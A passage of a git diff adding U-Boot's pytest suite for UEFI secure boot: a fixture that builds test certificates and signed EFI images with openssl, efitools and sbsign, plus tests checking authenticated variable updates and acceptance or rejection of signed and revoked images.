+        check_call('cd %s; touch serial.new; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestSub.key 2048; openssl req -new -key TestSub.key -out TestSub.csr -subj "/CN=TEST_sub/"; openssl ca -in TestSub.csr -out TestSub.crt -extensions v3_int_ca -days 365 -batch -rand_serial -cert TestRoot.crt -keyfile TestRoot.key'
+                   % mnt_point, shell=True)
+        # TestCert
+        check_call('cd %s; touch serial.new; export OPENSSL_CONF=./openssl.cnf; openssl genrsa -out TestCert.key 2048; openssl req -new -key TestCert.key -out TestCert.csr -subj "/CN=TEST_cert/"; openssl ca -in TestCert.csr -out TestCert.crt -extensions usr_cert -days 365 -batch -rand_serial -cert TestSub.crt -keyfile TestSub.key'
+                   % mnt_point, shell=True)
+        # db
+        #  for TestCert
+        check_call('cd %s; %scert-to-efi-sig-list -g %s TestCert.crt TestCert.esl; %ssign-efi-sig-list -c KEK.crt -k KEK.key db TestCert.esl db_a.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        #  for TestSub
+        check_call('cd %s; %scert-to-efi-sig-list -g %s TestSub.crt TestSub.esl; %ssign-efi-sig-list -t "2020-07-16" -c KEK.crt -k KEK.key db TestSub.esl db_b.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        #  for TestRoot
+        check_call('cd %s; %scert-to-efi-sig-list -g %s TestRoot.crt TestRoot.esl; %ssign-efi-sig-list -t "2020-07-17" -c KEK.crt -k KEK.key db TestRoot.esl db_c.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        ## dbx (hash of certificate with revocation time)
+        #  for TestCert
+        check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-20" -s 256 TestCert.crt TestCert.crl; %ssign-efi-sig-list -c KEK.crt -k KEK.key dbx TestCert.crl dbx_a.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        #  for TestSub
+        check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-21" -s 256 TestSub.crt TestSub.crl; %ssign-efi-sig-list -t "2020-07-18" -c KEK.crt -k KEK.key dbx TestSub.crl dbx_b.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+        #  for TestRoot
+        check_call('cd %s; %scert-to-efi-hash-list -g %s -t "2020-07-22" -s 256 TestRoot.crt TestRoot.crl; %ssign-efi-sig-list -t "2020-07-19" -c KEK.crt -k KEK.key dbx TestRoot.crl dbx_c.auth'
+                   % (mnt_point, EFITOOLS_PATH, GUID, EFITOOLS_PATH),
+                   shell=True)
+
+        # Sign image
+        # additional intermediate certificates may be included
+        # in SignedData
+
+        check_call('cp %s/lib/efi_loader/helloworld.efi %s' %
+                   (u_boot_config.build_dir, mnt_point), shell=True)
+        # signed by TestCert
+        check_call('cd %s; %ssbsign --key TestCert.key --cert TestCert.crt --out helloworld.efi.signed_a helloworld.efi'
+                   % (mnt_point, SBSIGN_PATH), shell=True)
+        # signed by TestCert with TestSub in signature
+        check_call('cd %s; %ssbsign --key TestCert.key --cert TestCert.crt --addcert TestSub.crt --out helloworld.efi.signed_ab helloworld.efi'
+                   % (mnt_point, SBSIGN_PATH), shell=True)
+        # signed by TestCert with TestSub and TestRoot in signature
+        check_call('cd %s; cat TestSub.crt TestRoot.crt > TestSubRoot.crt; %ssbsign --key TestCert.key --cert TestCert.crt --addcert TestSubRoot.crt --out helloworld.efi.signed_abc helloworld.efi'
+                   % (mnt_point, SBSIGN_PATH), shell=True)
+
+        check_call('virt-make-fs --partition=gpt --size=+1M --type=vfat {} {}'.format(mnt_point, image_path), shell=True)
+        check_call('rm -rf {}'.format(mnt_point), shell=True)
+
+    except CalledProcessError as e:
+        pytest.skip('Setup failed: %s' % e.cmd)
+        return
+    else:
+        yield image_path
+    finally:
+        call('rm -f %s' % image_path, shell=True)
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/defs.py b/roms/u-boot/test/py/tests/test_efi_secboot/defs.py
new file mode 100644
index 000000000..b7a2a1185
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/defs.py
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier:      GPL-2.0+
+
+# Owner guid
+GUID = '11111111-2222-3333-4444-123456789abc'
+
+# v1.5.1 or earlier of efitools has a bug in sha256 calculation, and
+# you need build a newer version on your own.
+# The path must terminate with '/'.
+EFITOOLS_PATH = ''
+
+# "--addcert" option of sbsign must be available, otherwise
+# you need build a newer version on your own.
+# The path must terminate with '/'.
+SBSIGN_PATH = ''
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/openssl.cnf b/roms/u-boot/test/py/tests/test_efi_secboot/openssl.cnf
new file mode 100644
index 000000000..f684f1df7
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/openssl.cnf
@@ -0,0 +1,48 @@
+[ ca ]
+default_ca = CA_default
+
+[ CA_default ]
+new_certs_dir = .
+database = ./index.txt
+serial = ./serial
+default_md = sha256
+policy = policy_min
+
+[ req ]
+distinguished_name = def_distinguished_name
+
+[def_distinguished_name]
+
+# Extensions
+#   -addext " ... = ..."
+#
+[ v3_ca ]
+   # Extensions for a typical Root CA.
+   basicConstraints = critical,CA:TRUE
+   keyUsage = critical, digitalSignature, cRLSign, keyCertSign
+   subjectKeyIdentifier = hash
+   authorityKeyIdentifier = keyid:always,issuer
+
+[ v3_int_ca ]
+   # Extensions for a typical intermediate CA.
+   basicConstraints = critical, CA:TRUE
+   keyUsage = critical, digitalSignature, cRLSign, keyCertSign
+   subjectKeyIdentifier = hash
+   authorityKeyIdentifier = keyid:always,issuer
+
+[ usr_cert ]
+   # Extensions for user end certificates.
+   basicConstraints = CA:FALSE
+   keyUsage = critical, nonRepudiation, digitalSignature, keyEncipherment
+   extendedKeyUsage = clientAuth, emailProtection
+   subjectKeyIdentifier = hash
+   authorityKeyIdentifier = keyid,issuer
+
+[ policy_min ]
+   countryName		= optional
+   stateOrProvinceName	= optional
+   localityName		= optional
+   organizationName	= optional
+   organizationalUnitName = optional
+   commonName		= supplied
+   emailAddress		= optional
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/test_authvar.py b/roms/u-boot/test/py/tests/test_efi_secboot/test_authvar.py
new file mode 100644
index 000000000..f99b8270a
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/test_authvar.py
@@ -0,0 +1,281 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro 
+#
+# U-Boot UEFI: Variable Authentication Test
+
+"""
+This test verifies variable authentication
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiAuthVar(object):
+    def test_efi_var_auth1(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 1 - Install signature database
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 1a'):
+            # Test Case 1a, Initial secure state
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'printenv -e SecureBoot'])
+            assert '00000000: 00' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SetupMode')
+            assert '00000000: 01' in output
+
+        with u_boot_console.log.section('Test Case 1b'):
+            # Test Case 1b, PK without AUTHENTICATED_WRITE_ACCESS
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 1c'):
+            # Test Case 1c, install PK
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'printenv -e -n PK'])
+            assert 'PK:' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SecureBoot')
+            assert '00000000: 01' in output
+            output = u_boot_console.run_command(
+                'printenv -e SetupMode')
+            assert '00000000: 00' in output
+
+        with u_boot_console.log.section('Test Case 1d'):
+            # Test Case 1d, db/dbx without KEK
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 1e'):
+            # Test Case 1e, install KEK
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -i 4000000:$filesize KEK'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'printenv -e -n KEK'])
+            assert 'KEK:' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SecureBoot')
+            assert '00000000: 01' in output
+
+        with u_boot_console.log.section('Test Case 1f'):
+            # Test Case 1f, install db
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SecureBoot')
+            assert '00000000: 01' in output
+
+        with u_boot_console.log.section('Test Case 1g'):
+            # Test Case 1g, install dbx
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx.auth',
+                'setenv -e -nv -bs -rt -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f dbx'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'dbx:' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SecureBoot')
+            assert '00000000: 01' in output
+
+    def test_efi_var_auth2(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 2 - Update database by overwriting
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 2a'):
+            # Test Case 2a, update without AUTHENTICATED_WRITE_ACCESS
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db1.auth',
+                'setenv -e -nv -bs -rt -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 2b'):
+            # Test Case 2b, update without correct signature
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.esl',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 2c'):
+            # Test Case 2c, update with correct signature
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db1.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+    def test_efi_var_auth3(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 3 - Append database
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 3a'):
+            # Test Case 3a, update without AUTHENTICATED_WRITE_ACCESS
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db1.auth',
+                'setenv -e -nv -bs -rt -a -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 3b'):
+            # Test Case 3b, update without correct signature
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.esl',
+                'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 3c'):
+            # Test Case 3c, update with correct signature
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db1.auth',
+                'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+    def test_efi_var_auth4(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 4 - Delete database without authentication
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 4a'):
+            # Test Case 4a, update without AUTHENTICATED_WRITE_ACCESS
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'setenv -e -nv -bs -rt db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 4b'):
+            # Test Case 4b, update without correct signature/data
+            output = u_boot_console.run_command_list([
+                'setenv -e -nv -bs -rt -at db',
+                'printenv -e -n -guid d719b2cb-3d3a-4596-a3bc-dad00e67656f db'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+            assert 'db:' in ''.join(output)
+
+    def test_efi_var_auth5(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 5 - Uninstall(delete) PK
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 5a'):
+            # Test Case 5a, Uninstall PK without correct signature
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'printenv -e -n PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert 'PK:' in ''.join(output)
+
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 PK_null.esl',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'printenv -e -n PK'])
+            assert 'Failed to set EFI variable' in ''.join(output)
+            assert 'PK:' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 5b'):
+            # Test Case 5b, Uninstall PK with correct signature
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 PK_null.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK',
+                'printenv -e -n PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            assert '\"PK\" not defined' in ''.join(output)
+
+            output = u_boot_console.run_command(
+                'printenv -e SecureBoot')
+            assert '00000000: 00' in output
+            output = u_boot_console.run_command(
+                'printenv -e SetupMode')
+            assert '00000000: 01' in output
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/test_signed.py b/roms/u-boot/test/py/tests/test_efi_secboot/test_signed.py
new file mode 100644
index 000000000..0aee34479
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/test_signed.py
@@ -0,0 +1,259 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Linaro Limited
+# Author: AKASHI Takahiro 
+#
+# U-Boot UEFI: Signed Image Authentication Test
+
+"""
+This test verifies image authentication for signed images.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiSignedImage(object):
+    def test_efi_signed_image_auth1(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 1 - Secure boot is not in force
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 1a'):
+            # Test Case 1a, run signed image if no PK
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'efidebug boot add -b 1 HELLO1 host 0:1 /helloworld.efi.signed -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 1b'):
+            # Test Case 1b, run unsigned image if no PK
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 2 HELLO2 host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 2',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+    def test_efi_signed_image_auth2(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 2 - Secure boot is in force,
+                      authenticated by db (TEST_db certificate in db)
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 2a'):
+            # Test Case 2a, db is not yet installed
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO1 host 0:1 /helloworld.efi.signed -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert('\'HELLO1\' failed' in ''.join(output))
+            assert('efi_start_image() returned: 26' in ''.join(output))
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 2 HELLO2 host 0:1 /helloworld.efi -s ""',
+                'efidebug boot next 2',
+                'efidebug test bootmgr'])
+            assert '\'HELLO2\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 2b'):
+            # Test Case 2b, authenticated by db
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 2',
+                'efidebug test bootmgr'])
+            assert '\'HELLO2\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+    def test_efi_signed_image_auth3(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 3 - rejected by dbx (TEST_db certificate in dbx)
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 3a'):
+            # Test Case 3a, rejected by dbx
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 3b'):
+            # Test Case 3b, rejected by dbx even if db allows
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+    def test_efi_signed_image_auth4(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 4 - revoked by dbx (digest of TEST_db certificate in dbx)
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 4'):
+            # Test Case 4, rejected by dbx
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 dbx_hash.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx',
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+    def test_efi_signed_image_auth5(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 5 - multiple signatures
+                        one signed with TEST_db, and
+                        one signed with TEST_db1
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 5a'):
+            # Test Case 5a, authenticated even if only one of signatures
+            # is verified
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed_2sigs -s ""',
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 5b'):
+            # Test Case 5b, authenticated if both signatures are verified
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db1.auth',
+                'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize db'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 5c'):
+            # Test Case 5c, not rejected if one of signatures (digest of
+            # certificate) is revoked
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx_hash.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 5d'):
+            # Test Case 5d, rejected if both of signatures are revoked
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx_hash1.auth',
+                'setenv -e -nv -bs -rt -at -a -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+    def test_efi_signed_image_auth6(self, u_boot_console, efi_boot_env):
+        """
+        Test Case 6 - using digest of signed image in database
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env
+        with u_boot_console.log.section('Test Case 6a'):
+            # Test Case 6a, verified by image's digest in db
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % disk_img,
+                'fatload host 0:1 4000000 db_hello_signed.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 KEK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize KEK',
+                'fatload host 0:1 4000000 PK.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize PK'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot add -b 1 HELLO host 0:1 /helloworld.efi.signed -s ""',
+                'efidebug boot next 1',
+                'bootefi bootmgr'])
+            assert 'Hello, world!' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 6b'):
+            # Test Case 6b, rejected by TEST_db certificate in dbx
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 dbx_db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
+
+        with u_boot_console.log.section('Test Case 6c'):
+            # Test Case 6c, rejected by image's digest in dbx
+            output = u_boot_console.run_command_list([
+                'fatload host 0:1 4000000 db.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize db',
+                'fatload host 0:1 4000000 dbx_hello_signed.auth',
+                'setenv -e -nv -bs -rt -at -i 4000000:$filesize dbx'])
+            assert 'Failed to set EFI variable' not in ''.join(output)
+            output = u_boot_console.run_command_list([
+                'efidebug boot next 1',
+                'efidebug test bootmgr'])
+            assert '\'HELLO\' failed' in ''.join(output)
+            assert 'efi_start_image() returned: 26' in ''.join(output)
diff --git a/roms/u-boot/test/py/tests/test_efi_secboot/test_signed_intca.py b/roms/u-boot/test/py/tests/test_efi_secboot/test_signed_intca.py
new file mode 100644
index 000000000..d8d599d22
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_efi_secboot/test_signed_intca.py
@@ -0,0 +1,135 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2020, Linaro Limited
+# Author: AKASHI Takahiro 
+#
+# U-Boot UEFI: Image Authentication Test (signature with certificates chain)
+
+"""
+This test verifies image authentication for a signed image which is signed
+by user certificate and contains additional intermediate certificates in its
+signature.
+"""
+
+import pytest
+
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('efi_secure_boot')
+@pytest.mark.buildconfigspec('cmd_efidebug')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_nvedit_efi')
+@pytest.mark.slow
+class TestEfiSignedImageIntca(object):
+    def test_efi_signed_image_intca1(self, u_boot_console, efi_boot_env_intca):
+        """
+        Test Case 1 - authenticated by root CA in db
+        """
+        u_boot_console.restart_uboot()
+        disk_img = efi_boot_env_intca
